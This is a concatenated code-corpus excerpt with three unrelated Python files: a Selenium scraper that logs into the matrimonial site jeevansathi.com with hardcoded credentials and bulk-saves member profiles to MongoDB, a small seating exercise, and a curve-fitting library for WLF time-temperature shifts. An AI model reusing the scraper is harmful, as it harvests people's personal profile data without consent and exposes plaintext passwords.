\"/home/dhruvk/scripts/chromedriver\"\n #os.environ[\"webdriver.chrome.driver\"] = chromedriver\n #browser = webdriver.Chrome(chromedriver, chrome_options=chrome_options)\n # browser = webdriver.Chrome(chrome_options=chrome_options)\n #browser = webdriver.Chrome(chromedriver)\n browser = webdriver.Chrome()\n return browser\n \ndef mon_no(month):\n if month == \"Jan\":\n return \"01\"\n elif month == \"Feb\":\n return \"02\"\n elif month == \"Mar\":\n return \"03\"\n elif month == \"Apr\":\n return \"04\"\n elif month == \"May\":\n return \"05\"\n elif month == \"Jun\":\n return \"06\"\n elif month == \"Jul\":\n return \"07\"\n elif month == \"Aug\":\n return \"08\"\n elif month == \"Sep\":\n return \"09\"\n elif month == \"Oct\":\n return \"10\"\n elif month == \"Nov\":\n return \"11\"\n elif month == \"Dec\":\n return \"12\"\n \n#display = Display(visible=0, size=(800, 600))\n#display.start()\n \npp = pprint.PrettyPrinter()\n \n#mapped = MySQLdb.connect(\"localhost\",\"dhruvk\",\"sql123\",\"dhruvk_jeevansaathi\" )\n#cursor_mapped = mapped.cursor()\n \n#MongoDB\n# MONGODB_URI = 'mongodb://db_user:test@ds149998.mlab.com:49998/jeevansathi'\nclient = MongoClient('mongodb://192.168.1.75')\ndb = client['jeevansathi']\n \ncollection_delhi = db['Delhi-NCR-new']\ncollection_misc = db['misc_new']\n#collection_match = db['match']\n \njs_delhi_url = 'http://www.jeevansathi.com/search/mySaveSearchId/352953104/'\njeevansathi = \"http://www.jeevansathi.com\"\n \nbrowser = getRandomBrowser()\n# chromedriver = \"/home/dhruvk/scripts/chromedriver\"\n# os.environ[\"webdriver.chrome.driver\"] = chromedriver\n# browser = webdriver.Chrome(chromedriver)\n# browser = webdriver.Chrome()\nbrowser.get('http://www.jeevansathi.com/static/logoutPage')\n \n#login\nusername = browser.find_element_by_name('email')\nusername.send_keys('oursnaps123@gmail.com')\n \npassword = browser.find_element_by_name('password')\npassword.send_keys('hello123')\n \nform = browser.find_element_by_id('homePageLogin')\nform.submit()\n \n# browser.get('http://www.jeevansathi.com/search/perform?mySaveSearchId=720129')\n# js_delhi_url = browser.current_url[:-1]\n \ndoc = collection_misc.find_one({\"info\":\"last_js_page_men\"})\nif doc:\n page = doc['last_js_page_men_val']\nelse:\n page = 1\n doc = collection_misc.insert({\"info\":\"last_js_page_men\", \"last_js_page_men_val\" : 1})\n \nrepeated_prof = 0\n\nwhile(True):\n print( time.ctime() + \": \" + \"Browsing Page \" + str(page))\n browser.get('http://www.jeevansathi.com/search/perform?mySaveSearchId=722099')\n js_delhi_url = browser.current_url[:-1]\n browser.get(js_delhi_url + str(page))\n soup_list = BeautifulSoup(browser.page_source, \"lxml\")\n ctr = 1\n for divtag in soup_list.find_all('div', {'class': 'srppad13 fl srpwid9 '}):\n print( time.ctime() + \": \" + \"Browsing entry \" + str(ctr) + \" on page \" + str(page))\n browser.get(jeevansathi + divtag.a['href'])\n soup = BeautifulSoup(browser.page_source, \"lxml\")\n try:\n username = soup.title.text.rsplit(' ', 1)[1]\n except:\n continue\n print (time.ctime() + \": \" + \"processing \" + username + \"...\")\n \n doc = collection_delhi.find_one({\"username\" : username})\n if doc:\n print (time.ctime() + \": \" + username + \" had already been processed\")\n repeated_prof += 1\n if repeated_prof == 1:\n print ('Randomising profile')\n randomise(browser)\n repeated_prof = 0\n break\n #browser.get('http://www.jeevansathi.com/search/perform?mySaveSearchId=722099')\n ctr = ctr + 1\n continue\n \n #print time.ctime() + \": \" + soup\n js = soup.find_all(\"script\")\n info_tag = \"\"\n for script_tag in js:\n # pp.pprint(script_tag)\n script_tag = str(script_tag)\n if \"finalResponse=\" in script_tag:\n info_tag = script_tag\n break\n \n \n # info_tag = str(js[13])\n if \"var finalResponse=\" in info_tag:\n # info = info.replace(\"&\", \"\")\n info_tag = re.sub(\"&\", \"\", info_tag)\n info = info_tag[info_tag.find(\"var finalResponse=\") + len(\"var finalResponse=\") + 1 : info_tag.find(\";\")]\n #remove invalid characters\n info = re.sub(\"\\\\\\\\r\", \"\", info)\n info = re.sub(\"\\\\\\\\n\", \"\", info)\n info = re.sub(\"\\\\\\\\\", \"\", info)\n info = re.sub(' ([0-9]|1[0-1])\"', \"+\", info)\n try:\n \tinfo = '{\"username\" : \"' + username + '\" , \"profile\" : ' + info + '}'\n except:\n\t #print ('error')\n continue\n try:\n json_info = json.loads(info)\n json_info['db_timestamp'] = datetime.now() \n print (time.ctime() + \": \" + \"JSON success\")\n collection_delhi.insert(json_info)\n date_time = json_info['profile']['about']['date_time']\n\n except ValueError:\n print (time.ctime() + \": \" + \"JSON failed\")\n print (time.ctime() + \": \" + info)\n print (time.ctime() + \": \" + \"---------------------------------------------\")\n ctr = ctr + 1\n page = page + 1\n doc = collection_misc.find_one({\"info\":\"last_js_page_men\"})\n updated_doc = dict(doc)\n updated_doc['last_js_page_men_val'] = page\n collection_misc.update(doc, updated_doc)","sub_path":"Vivek/jeevan_male.py","file_name":"jeevan_male.py","file_ext":"py","file_size_in_byte":6219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"642225745","text":"\"\"\" write a program that asks the user how many people are\nin their dinner group. If the answer is more than eight, print\na message saying they'll have to wait for a table. Otherwise,\nreport that their table is ready \"\"\"\n\npeople = int(input('How many people are here?\\n'))\n\nif people >= 8:\n print('Please, wait for a table')\nelse:\n print('Table is ready')","sub_path":"python/python_crash_course/chapter_7/7-2.restaurant_seating.py","file_name":"7-2.restaurant_seating.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"308206509","text":"import os\nimport re\nimport sys\nimport logging\nimport numpy as np\nfrom itertools import cycle\n\nimport pandas\nfrom scipy.optimize import fmin, curve_fit, least_squares\nfrom scipy import stats\nimport matplotlib.pyplot as plt\ntry: \n import bokeh.plotting as bp\nexcept ImportError: \n bp = None\n\n__all__ = ['MasterCurve', 'CurveFitter', 'mc_init_notebook',\n 'to_minutes', 'cnvtime',\n 'MODIFIED_POWER', 'POWER', 'PRONY', 'POLYNOMIAL',\n 'MODIFIED_POWER_1']\n\nMODIFIED_POWER = 'MODIFIED POWER'\nMODIFIED_POWER_1 = 'MODIFIED POWER 1'\nPOWER = 'POWER'\nPRONY = 'PRONY'\nPOLYNOMIAL = 'POLYNOMIAL'\n\nPHONY = 123456.789\nEPS = np.finfo(float).eps\nBASE = 10.\n\nTIME_UNITS = ('seconds','hours','days','weeks','months','years','hertz')\n\ndef is_time_unit(x):\n return x[:3].lower() in [xt[:3] for x in TIME_UNITS]\n\nclass Environment:\n pass\nenviron = Environment()\nenviron.notebook = 0\n\ndef _loadcsv(filename):\n \"\"\"Load the csv file written out by MasterCurve.dump\"\"\"\n class CSVData:\n data = {}\n def get(self, temp):\n return self.data[temp]\n def __iter__(self):\n return iter(self.data.items())\n dtype = np.float64\n array = np.array\n cstack = np.column_stack\n\n assert os.path.isfile(filename)\n lines = open(filename).readlines()\n\n for (i, line) in enumerate(lines):\n if re.search('Version', line):\n version = float(lines[i+1])\n assert version > 1.\n if re.search('Curve Fitter', line):\n fitter = lines[i+1]\n if re.search('Fit Error', line):\n fiterr = float(lines[i+1])\n if re.search('WLF', line):\n wlf_coeffs = [float(x) for x in lines[i+1].split(',')]\n assert len(wlf_coeffs) == 2\n\n if re.search('Data', line):\n j = i + 1\n\n if re.search('Master Curve', line):\n k = i + 1\n\n d = CSVData()\n\n desc = lines[j].split(',')\n temps = array([float(x) for x in desc[2:]])\n data = array([[None if not x.split() else float(x) for x in y.split(',')]\n for y in lines[j+1:k-1]])\n d.master = array([[float(x) for x in y.split(',')] for y in lines[k+1:]])\n\n d.toat = data[:,0]\n d.logtoat = data[:,1]\n\n d.raw_master = cstack((d.toat, d.logtoat, array(data[:,2], dtype=dtype)))\n d.ref_temp = temps[0]\n\n d.temps = temps[1:]\n for (i, temp) in enumerate(temps[1:]):\n td = data[:,i+3]\n idx = [j for (j,x) in enumerate(td) if x is not None]\n a = array(td[idx], dtype=dtype)\n if len(a) == 0:\n continue\n a = cstack((d.toat[idx], d.logtoat[idx], a))\n d.data[temp] = a\n\n return d\n\n\ndef _no_trans(x):\n return x\n\n\ndef curve_fit2(func, x, y, p0, sigma, trans_y=None, nw=None):\n\n # Fit the data\n def func2(p, *args):\n xp, yp, wp, yfun = args\n return wp * (yfun(yp) - func(xp, *p))\n\n x, y = np.asarray(x), np.asarray(y)\n if nw:\n weights = np.ones_like(y)\n elif sigma is not None:\n sigma = np.asarray(sigma)\n weights = 1. / (sigma)\n else:\n weights = np.ones_like(y)\n\n yfun = _no_trans if trans_y is None else trans_y\n res = least_squares(func2, p0, args=(x, y, weights, yfun))\n if not res.success:\n raise RuntimeError(res.message)\n\n if sigma is None:\n return res.x, None, None\n\n ys = func(x, *res.x)\n w1 = np.ones_like(y)\n try:\n ys_p = np.where(ys+sigma>y+sigma, ys+sigma, y+sigma)\n res_p = least_squares(func2, res.x, args=(x, ys_p, w1, yfun))\n except ValueError:\n raise\n res_p = least_squares(func2, res.x, args=(x, y+sigma, w1, yfun))\n\n try:\n ys_m = np.where(ys-sigma curve[-1, 1]:\n # y values are decreasing from left to right\n xmin, ymin = curve[-1, 0], curve[-1, 1]\n xmax, ymax = curve[0, 0], curve[0, 1]\n else:\n xmin, ymin = curve[0, 0], curve[0, 1]\n xmax, ymax = curve[-1, 0], curve[-1, 1]\n return np.array([[xmin, ymin], [xmax, ymax]])\n\ndef area(x, y, yaxis=False):\n if not yaxis:\n return np.trapz(y, x)\n return np.trapz(x, y)\n\nCOLORS = ['Blue', 'Red', 'Purple', 'Green', 'Orange', 'HotPink', 'Cyan',\n 'Magenta', 'Chocolate', 'Yellow', 'Black', 'DodgerBlue', 'DarkRed',\n 'DarkViolet', 'DarkGreen', 'OrangeRed', 'Teal', 'DarkSlateGray',\n 'RoyalBlue', 'Crimson', 'SeaGreen', 'Plum', 'DarkGoldenRod',\n 'MidnightBlue', 'DarkOliveGreen', 'DarkMagenta', 'DarkOrchid',\n 'DarkTurquoise', 'Lime', 'Turquoise', 'DarkCyan', 'Maroon']\n\ndef gen_colors(keys):\n colors = {}\n c = cycle(COLORS)\n for key in keys:\n colors[key] = next(c).lower()\n return colors\n\ndef aslist(item):\n if item is None:\n return []\n if not isinstance(item, (list, tuple, np.ndarray)):\n item = [skip_temps]\n return [x for x in item]\n\nclass MasterCurve(object):\n fiterr = None\n def __init__(self, txy, ref_temp=75., apply_log=False, xfac=1., yfac=1.,\n skip_temps=None, wlf_coeffs=None,\n xvar='Time', xunits='min', yvar='Er', yunits='psi',\n fitter=PRONY, optcoeffs=True,\n cnvtime=False, **kwargs):\n \"\"\"Initialize the master curve object\n\n Parameters\n ----------\n txy : array_like (n, 3)\n txy[i] is the ith [Temp, X, Y]\n ref_temp : real\n Reference temperature\n optcoeffs : bool [True]\n Optimize the WLF parameters\n fitter : str [prony]\n Name of CurveFitter\n skip_temps : list [None]\n Temperatures to skip\n wlf_coeffs : list [None]\n Initial guesses for C1 and C2\n\n kwargs : dict\n keywords [optional] to pass to fitter\n\n \"\"\"\n columns = ('Temp', 'X', 'Log[X]', 'Y')\n txy = np.asarray(txy)\n\n stdv = None\n if txy.shape[1] == 4:\n stdv = txy[:,3]\n txy = txy[:,:3]\n\n txy[:, 2] *= yfac\n if apply_log:\n txy[:, 1] *= xfac\n logx = log(txy[:, 1])\n txy = np.insert(txy, 2, logx, axis=1)\n else:\n x = (BASE ** txy[:, 1]) * xfac\n txy = np.insert(txy, 1, x, axis=1)\n\n xunits = xunits.lower()\n if xunits[:3] != 'min':\n txy[:,1] = to_minutes(txy[:,1], xunits[:3])\n txy[:,2] = log(txy[:,1])\n xunits = 'min'\n\n if stdv is not None:\n txy = np.column_stack((txy, stdv))\n columns += ('STDV',)\n\n self.ref_temp = ref_temp\n self.skip_temps = aslist(skip_temps)\n self.df = pandas.DataFrame(txy, columns=columns)\n\n self.rate = '/min' in xunits\n self.wlf_coeffs = wlf_coeffs\n self.optcoeffs = optcoeffs\n self.kwds = dict(**kwargs)\n cf = CurveFitter(fitter)\n self._cf = {0: cf(rate=self.rate, **kwargs)}\n\n self.xvar = xvar\n self.yvar = yvar\n self.xunits = xunits\n self.yunits = yunits\n\n self.temp_array = txy[:,0]\n self.x_array = txy[:,1]\n self.logx_array = txy[:,2]\n self.y_array = txy[:,3]\n self.stdv_array = None if txy.shape !=4 else txy[:,4]\n\n self._fit = 0\n\n @property\n def cf(self):\n return self._cf.get(1, self._cf[0])\n\n @cf.setter\n def cf(self, item):\n if item is not None:\n self._cf[1] = item\n\n def fit(self, wlf_coeffs=None, skip_temps=None, ref_temp=None,\n optimize_wlf=None, fitter=None, discrete_shift=None, p0=None,\n no_weight=None, **kwargs):\n\n skip_temps = aslist(skip_temps)\n skip_temps.extend(self.skip_temps)\n\n if fitter is not None:\n fitter = CurveFitter(fitter)(rate=self.rate, **kwargs)\n self.cf = fitter\n\n # make skip temps a list, if not already\n df = self.df.copy()\n for temp in skip_temps:\n df = df[~(np.abs(df['Temp'] - temp) < EPS)]\n\n ref_temp = self.ref_temp if ref_temp is None else ref_temp\n wlf_coeffs = self.wlf_coeffs if wlf_coeffs is None else wlf_coeffs\n\n if not any(np.abs(df['Temp'] - ref_temp) < EPS):\n raise ValueError('Reference temperature {0} not '\n 'found in data'.format(ref_temp))\n\n wlf_opt = None\n if discrete_shift is None:\n wlf_opt = self.find_wlf_coeffs(df, ref_temp, wlf_coeffs,\n optimize_coeffs=optimize_wlf, no_weight=no_weight)\n else:\n if not isinstance(discrete_shift, dict):\n discrete_shift = None\n discrete_shift = self.find_discrete_wlf_shift(df, ref_temp,\n discrete_shift, optimize_coeffs=optimize_wlf,\n no_weight=no_weight)\n self.dfm = self.shift_data(df, ref_temp, wlf=wlf_opt,\n shift=discrete_shift)\n the_fit = self.fit_shifted_data(self.dfm, p0=p0, no_weight=no_weight)\n self.mc_fit, self.mc_std_p, self.mc_std_m = the_fit\n self.wlf_opt = wlf_opt\n self.discrete_shift = discrete_shift\n self._fit = 1\n\n def find_discrete_wlf_shift(self, df, ref_temp, shift,\n optimize_coeffs=None, no_weight=None):\n \"\"\"Generate the optimized master curve\"\"\"\n\n temps = np.unique(df['Temp'])\n if len(temps) == 1:\n # only one data set\n return {temps[0], 0}\n\n if shift is None:\n # Shift each data set. xs is [T, logaT]\n dg = df.groupby('Temp')\n rc = dg.get_group(ref_temp)\n shift = dict([(g, self.x_shift(rc, df1)) for (g, df1) in dg])\n\n if optimize_coeffs is None:\n optimize_coeffs = self.optcoeffs\n\n if not optimize_coeffs:\n return shift\n\n def func(xopt, *args):\n \"\"\"Objective function returning the area between the fitted curve\n and shifted data\n\n \"\"\"\n #if np.any(xopt < 0.):\n # self.fiterr = 1000.\n # return self.fiterr\n shift = dict(zip(args[0], xopt))\n df1 = self.shift_data(df.copy(), ref_temp, shift=shift)\n fit = self.fit_shifted_data(df1, no_weight=no_weight)\n\n # determine error between fitted curve and master curve\n xvals, yvals = [], []\n for logx in df1['Log[X/aT]']:\n xvals.append(BASE**logx)\n yvals.append(self.cf.eval(logx, fit[0]))\n yvals = np.asarray(yvals)\n e1 = np.sqrt(np.mean((yvals - df1['Y']) ** 2))\n e1 /= abs(np.mean(df1['Y']))\n\n error = abs(e1)\n\n self.fiterr = error # / area(data[:,0],data[:,1])\n return self.fiterr\n\n temps = sorted(shift.keys())\n x = [shift[temp] for temp in temps]\n xopt = fmin(func, x, disp=0, args=(temps,))\n\n return dict(zip(temps, xopt))\n\n def find_wlf_coeffs(self, df, ref_temp, wlf_coeffs, optimize_coeffs=None,\n no_weight=None):\n \"\"\"Generate the optimized master curve\"\"\"\n\n temps = np.unique(df['Temp'])\n if len(temps) == 1:\n # only one data set\n return np.zeros(2)\n\n if wlf_coeffs is None:\n wlf_coeffs = self.get_wlf_coeffs(df, ref_temp)\n\n if optimize_coeffs is None:\n optimize_coeffs = self.optcoeffs\n\n if not optimize_coeffs:\n return wlf_coeffs\n\n def func(xopt, *args):\n \"\"\"Objective function returning the area between the fitted curve\n and shifted data\n\n \"\"\"\n ref_temp = self.ref_temp\n if np.any(np.abs(xopt[1] + temps - ref_temp) < EPS):\n self.fiterr = 1000.\n return self.fiterr\n\n df1 = self.shift_data(df.copy(), ref_temp, xopt)\n try:\n fit = self.fit_shifted_data(df1, no_weight=no_weight)\n except:\n return 100\n\n # determine error between fitted curve and master curve\n xvals, yvals = [], []\n for logx in df1['Log[X/aT]']:\n xvals.append(BASE**logx)\n yvals.append(self.cf.eval(logx, fit[0]))\n yvals = np.asarray(yvals)\n e1 = np.sqrt(np.mean((yvals - df1['Y']) ** 2))\n e1 /= abs(np.mean(df1['Y']))\n\n temp = np.unique(self.df['Temp'])\n log_at = -xopt[0] * (temp - ref_temp) / (xopt[1] + temp - ref_temp)\n m, b, r, p, std_err = stats.linregress(temp, log_at)\n e2 = 1 - r ** 2\n\n error = np.sqrt((fac1*e1) ** 2 + (fac2*e2) ** 2)\n self.fiterr = error # / area(data[:,0],data[:,1])\n\n return self.fiterr\n\n fac1, fac2 = .5, .5\n wlf_coeffs = fmin(func, wlf_coeffs, disp=0)\n return wlf_coeffs\n\n def shift_data(self, df, T0, wlf=None, shift=None):\n \"\"\"Compute the master curve for data series\"\"\"\n # reference temperature curve\n if shift is None:\n if wlf is None:\n raise TypeError('one of wlf or shift must be defined')\n shift = dict([(T, -wlf[0]*(T-T0)/(wlf[1]+T-T0)) \n for T in df['Temp']])\n def f(x):\n temp = np.asarray(x['Temp'])[0]\n fac = 1. if '/min' in self.xunits else -1.\n x['Log[X/aT]'] = np.asarray(x['Log[X]']) + fac * shift[temp]\n return x\n df = df.groupby('Temp').apply(f)\n return df\n\n def fit_shifted_data(self, df, p0=None, no_weight=None):\n \"\"\"Fit the master curve\n\n \"\"\"\n sigma = None if 'STDV' not in df else df['STDV']\n t = np.asarray(df['Log[X/aT]'])\n d = np.asarray(df['Y'])\n return self.cf.fit_points(t, d, sigma=sigma, p0=p0, no_weight=no_weight)\n\n @staticmethod\n def x_shift(df1, df2):\n \"\"\"\n\n Parameters\n ----------\n df1 : ndarray\n Base curve to shift to consisting of list of x,y pairs\n df2 : ndarray\n Curve to shift consisting of list of x,y pairs\n\n Returns\n -------\n shift : real\n A scalar shift value\n\n Notes\n -----\n Single curves must be monotonically increasing or decreasing. Composite\n curve can be more complex and x values should generally be increasing\n (noise is okay)\n\n shift value returned is such that x points should be shifted by\n subtracting the shift value\n\n \"\"\"\n ref_curve = np.asarray(df1[['Log[X]', 'Y']])\n curve = np.asarray(df2[['Log[X]', 'Y']])\n\n ref_bnds = bounding_box(ref_curve)\n crv_bnds = bounding_box(curve)\n\n if (crv_bnds[1, 1] > ref_bnds[1, 1]):\n # y values for curve larger than ref_curve, check for overlap\n if (crv_bnds[0, 1] < ref_bnds[1, 1]):\n ypt = (ref_bnds[1, 1] + crv_bnds[0, 1]) / 2.\n x_crv = interp1d(curve, ypt, findx=True)\n x_ref = interp1d(ref_curve, ypt, findx=True)\n else:\n # no overlap\n x_ref, x_crv = ref_curve[0, 0], curve[-1, 0]\n else:\n # y values for ref_curve larger than curve, check for overlap\n if (ref_bnds[0, 1] < crv_bnds[1, 1]):\n ypt = (ref_bnds[0, 1] + crv_bnds[1, 1]) / 2.\n x_crv = interp1d(curve, ypt, findx=True)\n x_ref = interp1d(ref_curve, ypt, findx=True)\n else:\n # no overlap\n x_ref, x_crv = ref_curve[-1, 0], curve[0, 0]\n\n return -(x_ref - x_crv)\n\n def get_wlf_coeffs(self, df, T0):\n \"\"\"Defines the WLF shift\n\n Notes\n -----\n returns a tuple containing best fits for C1 and C2:\n\n log(aT) = -C1(T-ref_temp)/(C2+T-ref_temp)\n\n The coefficients are determined by the least squares fit\n\n x = (A^TA)^-1 A^Tb (T is matrix transpose)\n\n where A is nx2 matrix (n is number of T and logaT pairs) of rows or\n [(T-Tr) logaT] for each T,logaT pair b is a nx1 vector where each row is\n -logaT*(T-Tr) for each pair x is a 2x1 vector of C1 and C2\n\n \"\"\"\n # shift the data to the reference curve\n dg = df.groupby('Temp')\n rc = dg.get_group(T0)\n\n # Shift each data set. xs is [T, logaT]\n xs = np.array([[g, self.x_shift(rc, df1)] for (g, df1) in dg])\n if all([abs(x) < 1.e-6 for x in xs[:,1]]):\n logging.warn('No shift found, consider specifying '\n 'initial WLF coefficients')\n\n # Setup A Matrix\n A = np.zeros((xs.shape[0], 2))\n A[:, 0] = xs[:,0] - T0\n A[:, 1] = xs[:,1]\n\n # Setup b Vector\n b = -A[:, 0] * A[:, 1]\n\n # Calculate WLF Coefficients\n ATA = np.dot(A.T, A)\n ATb = np.dot(A.T, b)\n try:\n wlf_coeffs = np.linalg.solve(ATA, ATb)\n except np.linalg.LinAlgError:\n logging.warn('Using least squares to find wlf coefficients')\n wlf_coeffs = np.linalg.lstsq(ATA, ATb)[0]\n\n return wlf_coeffs\n\n def plot_wlf(self, *args, **kwargs):\n wlf = self.wlf_opt\n temp = np.unique(self.df['Temp'])\n ref_temp = self.ref_temp\n log_at = -wlf[0] * (temp - ref_temp) / (wlf[1] + temp - ref_temp)\n x_label = 'Temperature'\n y_label = 'Log[aT]'\n if environ.notebook == 2:\n p = bp.figure(x_axis_label=x_label, y_axis_label=y_label)\n p.scatter(temp, log_at)\n bp.show(p)\n else:\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n plt.scatter(temp, log_at)\n if kwargs.get('show', 1):\n plt.show()\n\n def plot(self, **kwargs):\n if environ.notebook == 2:\n p = self._bp_plot(**kwargs)\n bp.show(p)\n return p\n return self._mp_plot(**kwargs)\n\n def _bp_plot(self, raw=False, show_fit=False):\n if bp is None:\n raise ImportError('bokeh')\n\n if raw:\n x_label = 'Log[{0}] ({1})'.format(self.xvar, self.xunits)\n else:\n x_label = 'Log[{0}/aT] ({1})'.format(self.xvar, self.xunits)\n yvar = self.cf.yvar or self.yvar\n y_label = '{0} ({1})'.format(self.yvar, self.yunits)\n plot = bp.figure(x_axis_label=x_label, y_axis_label=y_label)\n if raw:\n plot.title = 'Raw, unshifted data'\n dg = self.df.groupby('Temp')\n colors = gen_colors([str(temp) for temp in dg.groups.keys()])\n for (temp, df) in dg:\n plot.scatter(df['Log[X]'], df['Y'], legend='{0}'.format(temp),\n color=colors[str(temp)])\n return plot\n\n if not self._fit:\n self.fit()\n\n dg = self.dfm.groupby('Temp')\n colors = gen_colors([str(temp) for temp in dg.groups.keys()])\n plot.title = 'Data shift: {0}'.format(self.cf.name)\n for (temp, df) in dg:\n plot.scatter(df['Log[X/aT]'], df['Y'],\n legend='{0}'.format(temp), color=colors[str(temp)])\n if show_fit:\n xp, yp = self._mc_points()\n plot.line(xp, yp, color='black', line_width=1.5,\n legend='Master Curve Fit')\n return plot\n\n def _mp_plot(self, raw=False, show_fit=False, filename=None,\n legend_loc='lower left', legend_ncol=1, wlfbox='upper right',\n ylim=None):\n \"\"\"Plot the given data or shifted data and/or the fit \"\"\"\n if plt is None:\n raise ImportError('matplotlib')\n xl, xu = self.xvar, self.xunits\n yl, yu = self.yvar, self.yunits\n\n fig1 = plt.figure()\n ax1 = fig1.add_subplot(111)\n\n if raw:\n ax1.set_xlabel(r'$\\log\\left(%s\\right)$ (%s)' % (xl, xu))\n else:\n if not self.rate:\n ax1.set_xlabel(r'$\\log\\left(\\frac{%s}{a_T}\\right)$ (%s)' % (xl, xu))\n else:\n ax1.set_xlabel(r'$\\log\\left(%s \\cdot a_T\\right)$ (%s)' % (xl, xu))\n ylabel = r'$%s$ (%s)' % (yl, yu)\n ax1.set_ylabel(ylabel)\n\n if raw:\n dg = self.df.groupby('Temp')\n colors = gen_colors([str(temp) for temp in dg.groups.keys()])\n for (temp, df) in dg:\n xp, yp = df['Log[X]'], df['Y']\n ax1.scatter(xp, yp, label='{0}'.format(temp),\n color=colors[str(temp)])\n if 'STDV' in df:\n ax1.errorbar(xp, yp, yerr=np.array(df['STDV']),\n label=None, ecolor=colors[str(temp)], ls='None',\n marker='None')\n\n else:\n if not self._fit:\n self.fit()\n dg = self.dfm.groupby('Temp')\n colors = gen_colors([str(temp) for temp in dg.groups.keys()])\n for (temp, df) in dg:\n xp, yp = df['Log[X/aT]'], df['Y']\n ax1.scatter(xp, yp,\n label='{0}'.format(temp), color=colors[str(temp)])\n if 'STDV' in df:\n yerr = np.array(df['STDV'])\n ax1.errorbar(xp, yp, yerr=yerr, marker='None', ls='None',\n label=None, ecolor=colors[str(temp)])\n\n if show_fit:\n plot_label = self.cf.descriptive_plot_label(self.mc_fit)\n s = '${0}$ = {1}'.format(self.yvar, plot_label)\n\n if 'STDV' in df:\n xp, yp, yp1, yp2 = self._mc_points(std=1)\n else:\n xp, yp = self._mc_points()\n\n ax1.plot(xp, yp, 'k-', lw=1.5, label=s)\n #ax1.text(.6, .25, s, ha='left', transform=ax1.transAxes)\n\n if 'STDV' in df:\n # get upper and lower bound fits\n ax1.plot(xp, yp1, 'k-.', lw=1., label=None)\n ax1.plot(xp, yp2, 'k-.', lw=1., label=None)\n\n if legend_loc is not None:\n kwds = {'loc': legend_loc, 'ncol': legend_ncol,\n 'scatterpoints': 1, 'fontsize':14}\n if show_fit:\n kwds['fancybox'] = True\n plt.legend(**kwds)\n\n if ylim is not None:\n ax1.set_ylim(ylim)\n\n if show_fit:\n if self.wlf_opt is not None:\n # this is an inset axes over the main axes\n wlf = self.wlf_opt\n temp = np.unique(self.df['Temp'])\n ref_temp = self.ref_temp\n log_at = -wlf[0]*(temp-ref_temp)/(wlf[1]+temp-ref_temp)\n if wlfbox == 'upper right':\n ax2 = fig1.add_axes([.575, .57, .3, .3])\n elif wlfbox == 'upper left':\n ax2 = fig1.add_axes([.195, .57, .3, .3])\n elif wlfbox == 'lower right':\n ax2 = fig1.add_axes([.575, .178, .3, .3])\n ax2.set_xlabel(r'Temperature $^{\\rm o}$F')\n ax2.set_ylabel(r'$\\log{a_T}$')\n c1 = tolatex(-wlf[0])\n c2 = tolatex(wlf[1])\n c3 = ref_temp\n ax2.scatter(temp, log_at)\n ax2.set_title('WLF Shift')\n s = r'$\\log{a_T}=\\frac{%s\\left(T-%g\\right)}{%s+T-%g}$'%(c1,c3,c2,c3)\n ax2.text(.35, .85, s, ha='left', transform=ax2.transAxes,\n fontsize=15)\n elif self.discrete_shift is not None:\n # this is an inset axes over the main axes\n shift = self.discrete_shift\n temp = sorted(self.discrete_shift.keys())\n log_at = [self.discrete_shift[t] for t in temp]\n if wlfbox == 'upper right':\n ax2 = fig1.add_axes([.575, .57, .3, .3])\n elif wlfbox == 'upper left':\n ax2 = fig1.add_axes([.195, .57, .3, .3])\n ax2.set_xlabel(r'Temperature $^{\\rm o}$F')\n ax2.set_ylabel(r'$\\log{a_T}$')\n ax2.scatter(temp, log_at)\n ax2.set_title('Time/Temperature Shift')\n a = max([abs(x) for x in log_at])\n ax2.set_ylim((-2*a, 2*a))\n\n if environ.notebook:\n plt.show()\n elif filename is None:\n plt.show()\n if filename is not None:\n plt.savefig(filename, transparent=True)\n\n return\n\n def to_csv(self, filename):\n \"\"\"Dump data to a file\n\n Parameters\n ----------\n filename : str\n file path\n\n Notes\n -----\n Writes to each row of filename\n\n \"\"\"\n if not self._fit:\n self.fit()\n\n fh = open(filename, 'w')\n fh.write('mcgen\\nVersion\\n1.2\\n')\n fh.write('Curve Fitter\\n{0}\\n'.format(self.cf.name))\n fh.write('Curve Fitting Information\\n')\n # write out the fit info\n line = self.cf.dump_info(self.mc_fit, delimiter=',')\n fh.write(line)\n try:\n fh.write('Fit Error\\n{0:.6f}\\n'.format(self.fiterr))\n except (ValueError, TypeError):\n pass\n fh.write(joinn(['WLF C1', 'WLF C2'], sep=','))\n fh.write(joinn([self.wlf_opt[0], self.wlf_opt[1]], sep=',', num=True))\n\n fh.write('Data\\n')\n self.dfm.to_csv(fh, float_format='%.6f', index=False)\n fh.close()\n\n def to_excel(self, filename):\n if not self._fit:\n self.fit()\n\n def cell(i, j):\n return '{0}{1}'.format(chr(j+ord('A')), i+1)\n\n writer = pandas.ExcelWriter(filename)\n worksheet = writer.book.create_sheet()\n worksheet.title = 'mcgen Meta'\n worksheet[cell(0, 0)] = 'mcgen Version'\n worksheet[cell(0, 1)] = '1.2'\n\n worksheet[cell(1, 0)] = 'Curve Fitter'\n worksheet[cell(1, 0)] = self.cf.name\n\n worksheet[cell(2, 0)] = 'Curve Fitting Information'\n lines = self.cf.dump_info(self.mc_fit, delimiter=',')\n for (i, line) in enumerate(lines.split('\\n')):\n for (j, item) in enumerate(line.split(',')):\n worksheet[cell(3+i, j)] = '{0}'.format(item.strip())\n n = 3+i\n try:\n worksheet[cell(n, 0)] = 'Fit Error'\n worksheet[cell(n, 1)] = '{0:.6f}\\n'.format(self.fiterr)\n n += 1\n except ValueError:\n pass\n worksheet[cell(n, 0)] = 'WLF C1'\n worksheet[cell(n, 1)] = 'WLF C1'\n worksheet[cell(n+1, 0)] = '{0}'.format(self.wlf_opt[0])\n worksheet[cell(n+1, 1)] = '{0}'.format(self.wlf_opt[1])\n\n self.dfm.to_excel(writer, sheet_name='mcgen Data', index=False)\n writer.save()\n return\n\n def _mc_points(self, n=50, std=0):\n xmin = np.amin(self.dfm['Log[X/aT]'])\n xmax = np.amax(self.dfm['Log[X/aT]'])\n xvals = np.linspace(xmin, xmax, n)\n yvals = np.array([self.cf.eval(x, fit=self.mc_fit) for x in xvals])\n if not std:\n return xvals, yvals\n yp = np.array([self.cf.eval(x, fit=self.mc_std_p) for x in xvals])\n ym = np.array([self.cf.eval(x, fit=self.mc_std_m) for x in xvals])\n return xvals, yvals, yp, 